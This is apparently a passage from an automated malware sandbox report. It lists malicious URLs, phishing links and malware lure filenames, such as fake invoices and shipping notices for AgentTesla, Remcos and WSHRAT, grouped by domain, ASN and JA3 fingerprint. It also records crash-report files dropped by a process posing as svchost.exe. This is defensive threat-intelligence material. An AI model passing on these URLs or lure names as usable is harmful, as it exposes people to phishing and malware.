	https://url.us.m.mimecastprotect.com/s/RBIeC68AD5iQ5EOspXJld?domain=urldefense.proofpoint.com	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	199.232.214.172
	https://www.mirzbmy.cn/	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://www.ruptmnc.cn/	Get hash	malicious	Unknown	Browse	199.232.210.172
smtp.zoho.eu	INQUIRY#46789_MAY24_PLANEX_SERVICES_CONTRACTING_GOODS.exe	Get hash	malicious	AgentTesla	Browse	185.230.214.164
	VBG dk Payment Receipt --doc87349281.bat	Get hash	malicious	Remcos, AgentTesla, DBatLoader	Browse	185.230.214.164
	RFQ_on_SAK-TC233L-32F200N_INFINEON_PN_PHARMA.pdf.exe	Get hash	malicious	AgentTesla	Browse	89.36.170.164
	1qwF1J2Njh.exe	Get hash	malicious	AgentTesla	Browse	185.230.212.164
	N8USBRwo0Z.exe	Get hash	malicious	AgentTesla	Browse	89.36.170.164
	PURCHASE_ORDER.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	89.36.170.164
	New Enquiry List.exe	Get hash	malicious	AgentTesla	Browse	185.20.209.164

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	SecuriteInfo.com.Trojan-Downloader.Autoit.gen.6551.1850.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	y4UgZYdag6.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	172.67.185.34
	https://u33127076.ct.sendgrid.net/ls/click?upn=u001.Dd8nu0w4qSl621Cfl5NzldfyZqjD9RWJslL2MWwt7pDZEhaAcTHbAT3eWd4fAnA0vrf6npFQIFebeFGCrAnwiA-3D-3DfmjQ_R-2Flyyz82d9aOYqi4-2FHSXVn4q8KaU22YObPyTKvaTTvltLHJTsQx6vicSpweVOt1Q2PhJWPHHTxt6yAPEzhfNUDUG5D5ilhJHkL1NI-2BWX2-2BDDI93AOg7LpunA0BU-2BZBoDgn6A5Z8xcvffpNwXtypTCusIOi-2BlO0xNH4h8I6EM-2FpelF-2BaCcmwOfdvxekMe-2FJpx-2B7DaCkmWjXbM0S7yd7UfMQ-3D-3D	Get hash	malicious	Unknown	Browse	162.159.61.3
	https://url.us.m.mimecastprotect.com/s/NqNQClYX45S1PxGimFEoZ?domain=urldefense.proofpoint.com	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.17.2.184
	http://rheodata.com	Get hash	malicious	Unknown	Browse	172.67.185.53
	https://flow.page/dnjetsdocs	Get hash	malicious	Unknown	Browse	104.18.125.91
	POX17265XSCB.xlsx	Get hash	malicious	Unknown	Browse	172.67.215.45
	https://docomo3903-tatad0c0movsnl3932.000webhostapp.com	Get hash	malicious	Unknown	Browse	104.18.11.207
	https://subscription-management.paddle.com/subscription/23736269/hash/48f17787dd06251c79832319a0cd81181e25b6488ec57eb96bdbfa63d118f311/manage-subscription	Get hash	malicious	Unknown	Browse	104.18.125.91
	SecuriteInfo.com.Win32.TrojanX-gen.20995.10729.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
COMPUTERLINEComputerlineSchlierbachSwitzerlandCH	INQUIRY#46789_MAY24_PLANEX_SERVICES_CONTRACTING_GOODS.exe	Get hash	malicious	AgentTesla	Browse	185.230.214.164
	https://classic.dreamclass.io/pages/admissions/form/Bvtxck	Get hash	malicious	Unknown	Browse	185.230.212.28
	http://www.multipli.com.au	Get hash	malicious	Unknown	Browse	185.230.212.28
	https://workdrive.zohoexternal.com/external/2c63de0fdd4c89e3b1929ff054753df29586989db597aec11b0424839e9707da/download	Get hash	malicious	Unknown	Browse	185.230.212.52
	https://survey.zohopublic.eu/zs/GzDXvp	Get hash	malicious	HTMLPhisher	Browse	185.230.212.19
	https://site24x7.com	Get hash	malicious	Unknown	Browse	185.230.212.11
	https://workdrive.zoho.eu/file/17s6p7fb7d86e6c7d46b790f74da739ebdd8d	Get hash	malicious	Unknown	Browse	185.230.212.52
	EGpGxFlJO8.exe	Get hash	malicious	Glupteba, Mars Stealer, SmokeLoader, Stealc, Vidar	Browse	89.36.170.166
	VBG dk Payment Receipt --doc87349281.bat	Get hash	malicious	Remcos, AgentTesla, DBatLoader	Browse	185.230.214.164
	https://mailer2.zohoinsights.eu/ck1/13ef.4aba358de/4652e940-cb13-11ee-af3c-525400b65433/894286b67613768b29c78076a31443d9fd7b902a/2?e=aMgNxARpVMrEefJgEKI5XWhw45Pz00VPkB6DgwAaNtbVO/bgaxrbvc49ksOMhPHJgbhA1KvMxdaWrLLDEbkMfIm9dE7WxdYmk3Lc%20xD0COY=	Get hash	malicious	Unknown	Browse	185.230.212.184
TUT-ASUS	QUOTATION_MAYQTRA031244#U00b7PDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	Purchase Order - PO24108267.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	208.95.112.1
	Invoice-883973938.js	Get hash	malicious	WSHRAT	Browse	208.95.112.1
	Invoice Payment N8977823.js	Get hash	malicious	WSHRAT	Browse	208.95.112.1
	_____PDF.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Pending_Invoice_Bank_Details_XLSX.js	Get hash	malicious	WSHRAT	Browse	208.95.112.1
	Pending_Invoice_Bank_Details_kofce_.JS.js	Get hash	malicious	WSHRAT	Browse	208.95.112.1
	DHL Receipt_AWB 98996913276.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	DHL Shipment Notification.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	STATEMENT OF ACCOUNT DHL - 717036431.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	SecuriteInfo.com.Trojan-Downloader.Autoit.gen.6551.1850.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	https://flow.page/dnjetsdocs	Get hash	malicious	Unknown	Browse	104.26.13.205
	SecuriteInfo.com.Win32.TrojanX-gen.20995.10729.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	Payment Advice.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	retroactive_effective_date_agreement.js	Get hash	malicious	Unknown	Browse	104.26.13.205
	JGomKnothX.exe	Get hash	malicious	Quasar	Browse	104.26.13.205
	retroactive_effective_date_agreement.js	Get hash	malicious	Unknown	Browse	104.26.13.205
	retroactive effective date agreement 96285.js	Get hash	malicious	Unknown	Browse	104.26.13.205
	https://uww-reg.ru/tarjetaliderbci/superavance-nlpk/	Get hash	malicious	Unknown	Browse	104.26.13.205
	retroactive effective date agreement 96285.js	Get hash	malicious	Unknown	Browse	104.26.13.205

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe	PO454323 Pdf.exe	Get hash	malicious	AgentTesla	Browse
	SARL RABINEAU Order FA2495.exe	Get hash	malicious	AgentTesla	Browse
	090998948.vbs	Get hash	malicious	XWorm	Browse
	SecuriteInfo.com.Win64.ExploitX-gen.17969.12173.exe	Get hash	malicious	AgentTesla	Browse
	FEDEX & INVOICE.Tracking Details.exe	Get hash	malicious	AgentTesla	Browse
	63762524.vbs	Get hash	malicious	XWorm	Browse
	48727365.vbs	Get hash	malicious	XWorm	Browse
	329182736.vbs	Get hash	malicious	XWorm	Browse
	payment pdf.exe	Get hash	malicious	AgentTesla, DarkTortilla, PureLog Stealer, RedLine	Browse
	FAC- IST9G4VW.exe	Get hash	malicious	AgentTesla	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_svchost.exe_94d8de46975ebb84b7d7bf7439ceff3d8ebb342b_86edb7bf_473f79e4-0d6a-44ee-95d8-f8273cfab5ad\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1675750929285134
Encrypted:	false
SSDEEP:	192:573RUnoSA5i0Vf7yGUhaWTO8LxQmIDzuiFZZ24lO83:NRUnoSYVf7y5haiO8BuzuiFZY4lO83
MD5:	B3C164B94D1EC66103971AE455C1DD6A
SHA1:	DEEED16BDA9227AF0CD3C6A748A678AB3C093A52
SHA-256:	524C691EF289F44F93A7C61F564C63788B719A7B1DC03E5481023CBF6D7C20AF
SHA-512:	65B1630E3C23CA462CC78297C7D3A4A3506D2A807253D5A498AD5B4588D6F91CCB9D34CCF5D781DAD16BEC579393874063CFFE0108BCE769CEC0C3D36A1AEAB1
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.9.6.2.6.4.6.2.5.5.8.8.1.0.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.9.6.2.6.4.7.1.9.4.9.4.5.0.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.7.3.f.7.9.e.4.-.0.d.6.a.-.4.4.e.e.-.9.5.d.8.-.f.8.2.7.3.c.f.a.b.5.a.d.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.2.5.8.7.3.2.6.-.b.2.d.7.-.4.d.1.b.-.a.7.7.1.-.4.5.4.1.f.2.d.c.0.a.d.4.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.s.v.c.h.o.s.t...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.a.s.i.a...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.e.7.0.-.0.0.0.1.-.0.0.1.4.-.d.0.e.9.-.5.a.4.4.1.8.a.1.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.0.0.c.b.b.e.a.e.b.4.0.4.d.d.9.1.d.0.0.e.6.3.c.f.4.2.a.b.5.e.1.a.0.0.0.0.0.0.0.0.!.0.0.0.0.f.e.2.5.9.3.1.e.1.2.b.1.f.5.8.0.7.b.9.5.c.f.2.2.2.c.d.9.e.e.7.4.c.2.c.b.7.e.a.2.!.s.v.c.h.o.s.t...e.x.e.....T.a.r.g.e.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_svchost.exe_daa74aecddff3d3c16abaa1f57c8bcbc853838bb_86edb7bf_12f9defd-974f-469a-b999-ce207f8d0863\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1450276431159463
Encrypted:	false
SSDEEP:	192:P94w2gAS50uvdugaKTHyfKlibdzuiFZZ24lO8r:F4w2gIuvdVaMHk1ZzuiFZY4lO8r
MD5:	713B0D28902ADC7EC535E3D2A17F603D
SHA1:	FF470E3EA7185C3E42B54CBF289C48D2C03E1540
SHA-256:	A4412C68A5A0C9D6A69DE4593B4F52E1057253A32E4E87A5AFF4443B90498A44
SHA-512:	E4C48265437760DD27BA254315153D24F32CCCF5FED995045FA4CBC9CFBE19E4A118B6B064F1B9F877399708655083D8F3CC889CC83B0E68B1AB07C5D2C1F75E
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.9.6.2.6.4.6.7.7.5.0.4.8.7.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.9.6.2.6.4.6.8.8.1.2.9.9.3.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.2.f.9.d.e.f.d.-.9.7.4.f.-.4.6.9.a.-.b.9.9.9.-.c.e.2.0.7.f.8.d.0.8.6.3.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.2.f.b.d.7.f.3.-.7.0.5.3.-.4.9.9.6.-.b.f.4.5.-.7.7.b.6.3.d.3.c.0.6.b.8.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.s.v.c.h.o.s.t...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.a.s.i.a...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.e.c.0.-.0.0.0.1.-.0.0.1.4.-.0.c.4.1.-.b.c.4.5.1.8.a.1.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.0.0.c.b.b.e.a.e.b.4.0.4.d.d.9.1.d.0.0.e.6.3.c.f.4.2.a.b.5.e.1.a.0.0.0.0.0.0.0.0.!.0.0.0.0.f.e.2.5.9.3.1.e.1.2.b.1.f.5.8.0.7.b.9.5.c.f.2.2.2.c.d.9.e.e.7.4.c.2.c.b.7.e.a.2.!.s.v.c.h.o.s.t...e.x.e.....T.a.r.g.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_svchost.exe_daa74aecddff3d3c16abaa1f57c8bcbc853838bb_86edb7bf_190b559b-a032-42b3-ad83-88391fdb83ac\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1448930736438263
Encrypted:	false
SSDEEP:	192:O0RAIgAS50uvdugaKTHyfKlibdzuiFZZ24lO8r:bRAIgIuvdVaMHk1ZzuiFZY4lO8r
MD5:	C26C07D5894ACC07A152A0CBD6C4A2B8
SHA1:	10774BC75B18955A3CDD186338FA42F1FAF3F829
SHA-256:	87EEC387341C747A50AC67B07D94E2BC2ECEB7D4C3127A7C1345A2B44E213E05
SHA-512:	E01268A3A7417B9325C5D7DFC7D76D090F22043009D4326F90C8F0D2F55F55D5DF28AA16644EC82ADD53242829197399E80C705638EAFA8D26A4E5E5394F6D02
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.9.6.2.6.4.8.1.5.0.2.0.2.4.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.9.6.2.6.4.8.4.4.3.9.5.2.7.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.9.0.b.5.5.9.b.-.a.0.3.2.-.4.2.b.3.-.a.d.8.3.-.8.8.3.9.1.f.d.b.8.3.a.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.a.4.4.0.e.7.e.-.0.a.4.0.-.4.5.d.a.-.a.e.5.f.-.f.5.9.5.5.d.b.9.6.2.f.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.s.v.c.h.o.s.t...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.a.s.i.a...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.2.0.c.c.-.0.0.0.1.-.0.0.1.4.-.5.d.5.4.-.2.4.5.0.1.8.a.1.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.0.0.c.b.b.e.a.e.b.4.0.4.d.d.9.1.d.0.0.e.6.3.c.f.4.2.a.b.5.e.1.a.0.0.0.0.0.0.0.0.!.0.0.0.0.f.e.2.5.9.3.1.e.1.2.b.1.f.5.8.0.7.b.9.5.c.f.2.2.2.c.d.9.e.e.7.4.c.2.c.b.7.e.a.2.!.s.v.c.h.o.s.t...e.x.e.....T.a.r.g.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_svchost.exe_daa74aecddff3d3c16abaa1f57c8bcbc853838bb_86edb7bf_270a125f-24b2-404d-ae84-f6ed04cd2eee\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.144635023285111
Encrypted:	false
SSDEEP:	192:K9ra6/gAS50uvdugaKTHyfKlibdzuiFZZ24lO8r:mra6gIuvdVaMHk1ZzuiFZY4lO8r
MD5:	F396BC4D254B5D118F5F8C14D1508FE5
SHA1:	213C3FD03836BA99508982ACD22D8FC467B2AAC9
SHA-256:	1184D2B46BCEA62346736FB938FF20868E53B17BA33A5DE2CC69F64F551C3557
SHA-512:	463181071D5C27107EC7B469256BCBCB693F225255DD570DE3E5DD190DCD0B79CCAF8A3FFFD66699EE7E2A481933D0CD334702F98E08ADC32E10A828D0C3858D
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.9.6.2.6.4.7.3.6.2.1.5.9.3.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.9.6.2.6.4.7.4.4.0.2.8.5.7.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.7.0.a.1.2.5.f.-.2.4.b.2.-.4.0.4.d.-.a.e.8.4.-.f.6.e.d.0.4.c.d.2.e.e.e.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.6.8.d.7.c.3.f.-.f.9.2.7.-.4.8.3.3.-.b.b.5.c.-.c.a.3.b.7.2.2.8.2.c.2.5.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.s.v.c.h.o.s.t...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.a.s.i.a...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.e.4.4.-.0.0.0.1.-.0.0.1.4.-.4.9.f.f.-.f.9.4.9.1.8.a.1.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.0.0.c.b.b.e.a.e.b.4.0.4.d.d.9.1.d.0.0.e.6.3.c.f.4.2.a.b.5.e.1.a.0.0.0.0.0.0.0.0.!.0.0.0.0.f.e.2.5.9.3.1.e.1.2.b.1.f.5.8.0.7.b.9.5.c.f.2.2.2.c.d.9.e.e.7.4.c.2.c.b.7.e.a.2.!.s.v.c.h.o.s.t...e.x.e.....T.a.r.g.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA82A.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 16 streams, Wed May 8 07:21:04 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	508525
Entropy (8bit):	3.2824855377434616
Encrypted:	false
SSDEEP:	3072:uN0+aadLFQ3eeKW+4QNyBQhcSUy7339TRPHv9z1CCqnqpk1i23+vU1AtdN9tdN9P:uO+1dLy5+BRUAPHFrqn11i23Q
MD5:	985B7196D74CE1C3CCCC3CDE8B37FAB1
SHA1:	B8EDD13C6223805B2FB63D92C139A4477147FA5A
SHA-256:	02E14CBF70B8FDC606D96551711C6D0235A4EE80F4275B61E2DB784CB72B4D84
SHA-512:	2DA78F7F17266EFC2F7B77486E721057DBEEF4D83C1BEAEBA73201BD0D8A529A85BB5909D4B0C8E82CA2298B165815797F227F372AF209EE4BAF1127323C4785
Malicious:	false
Preview:	MDMP..a..... ........';f........................H...........$....&...... ...0&.......U..............l.......8...........T........... ;..M...........PD..........<F..............................................................................eJ.......F......Lw......................T.......p....';f.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBC7D.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 16 streams, Wed May 8 07:21:08 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	502183
Entropy (8bit):	3.265670317393611
Encrypted:	false
SSDEEP:	3072:ShCe92iOMVk4IZO9ZjJvBCGa4+IcSLdyF61CCq9n13+vFFr8nluU:SEbFMkoGOJ7qd13Q8l
MD5:	D9D04D7059A2817DE881E3AC4D41F3CE
SHA1:	49214181E65BF1B35577941C0DBD01A05D13076E
SHA-256:	9FAFD24D63D4E8E09DB0D14E70451B1189C7ECFFA2B198CD2F614488FC039554
SHA-512:	B7D884317FC58245CB1E94BF4CA7D1E350B5C42F07DA20662F703082314F7B26FBDA50D741EEAC28454554CFF37E38F2EE63FE68AB6315B9AC8ADEB880A8ECBC
Malicious:	false
Preview:	MDMP..a..... ........';f........................p...........$...4%...... ...X%.......P..............l.......8...........T............<...m..........xC..........dE..............................................................................eJ.......E......Lw......................T............';f.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBE34.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6758
Entropy (8bit):	3.733112752237589
Encrypted:	false
SSDEEP:	192:R6l7wVeJtj7ZdVY4Ad6J0Npro89bnWYf0sNm:R6lXJR7ZdVY44iknhf0L
MD5:	DF006D7694E7A10FDF29B75D1025ED9D
SHA1:	35C432D5A95AFC577FC7C5C391E892AF28BD2F46
SHA-256:	8BF62081110B1F7CD147CEB5A3983BABA597EF6C528D36D6F9EA2E920BC398DF
SHA-512:	FEE826813FE2DC06FE481D2D66693BCB64F160595112FA505549327DC97A4351EE2DA147B45A3C41C89DD77CD799C6687EB5DBFCD46E663F802CB11E6E03076B
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.8.7.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBF4E.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4741
Entropy (8bit):	4.4850374449629395
Encrypted:	false
SSDEEP:	48:cvIwWl8zsCJg771I9ZOWpW8VYmYm8M4JCyx2Fcryq85LI5LKtF7d:uIjfQI76v7VuJCYrPutF7d
MD5:	BCE06B2ABB11214CDD03D3EB6492A8AF
SHA1:	B7F43C601D5ED65837F02B4E4E25DF1BEC0254A6
SHA-256:	2F943F373CC5914CEC6E7A09D5C7B0013CADFA79EE381C7DD1D4A17C03D8D0E7
SHA-512:	7099951995551EA1513664CCDBD809F6B0AD33452F40A8FABA085E72C0CC0222C750D3651C443623EDD6EDBAA98F0B4F11277BF95A326D796A9D0F69B9A4B871
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="313823" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBF8B.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	89708
Entropy (8bit):	3.015676307077526
Encrypted:	false
SSDEEP:	768:ovduBsYsA5bYLnAkQP842VvLayon+yYKCZOgy+axKl+HnYl1V:6dFYh5bYLJS8LVLayo+7KCwgy+CnYlX
MD5:	1A873C7F6A9EDA15D868E8CDB46ACA5C
SHA1:	9A27F3751DD6E49CF2CF15949C974D01F09BEF91
SHA-256:	00818275EB29EC5B6E557AA7438C015BFEBC0D0B979DB06F98C99973B623D2CD
SHA-512:	3BD581CE84EB11FB8F2EC1CEC213F04019B643787641D08E6021DCFB5DDA76C0CC868CAAF6E203F065843763B22556AA662FD11EAF52694045586CE7682F344D
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC038.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6842338093922273
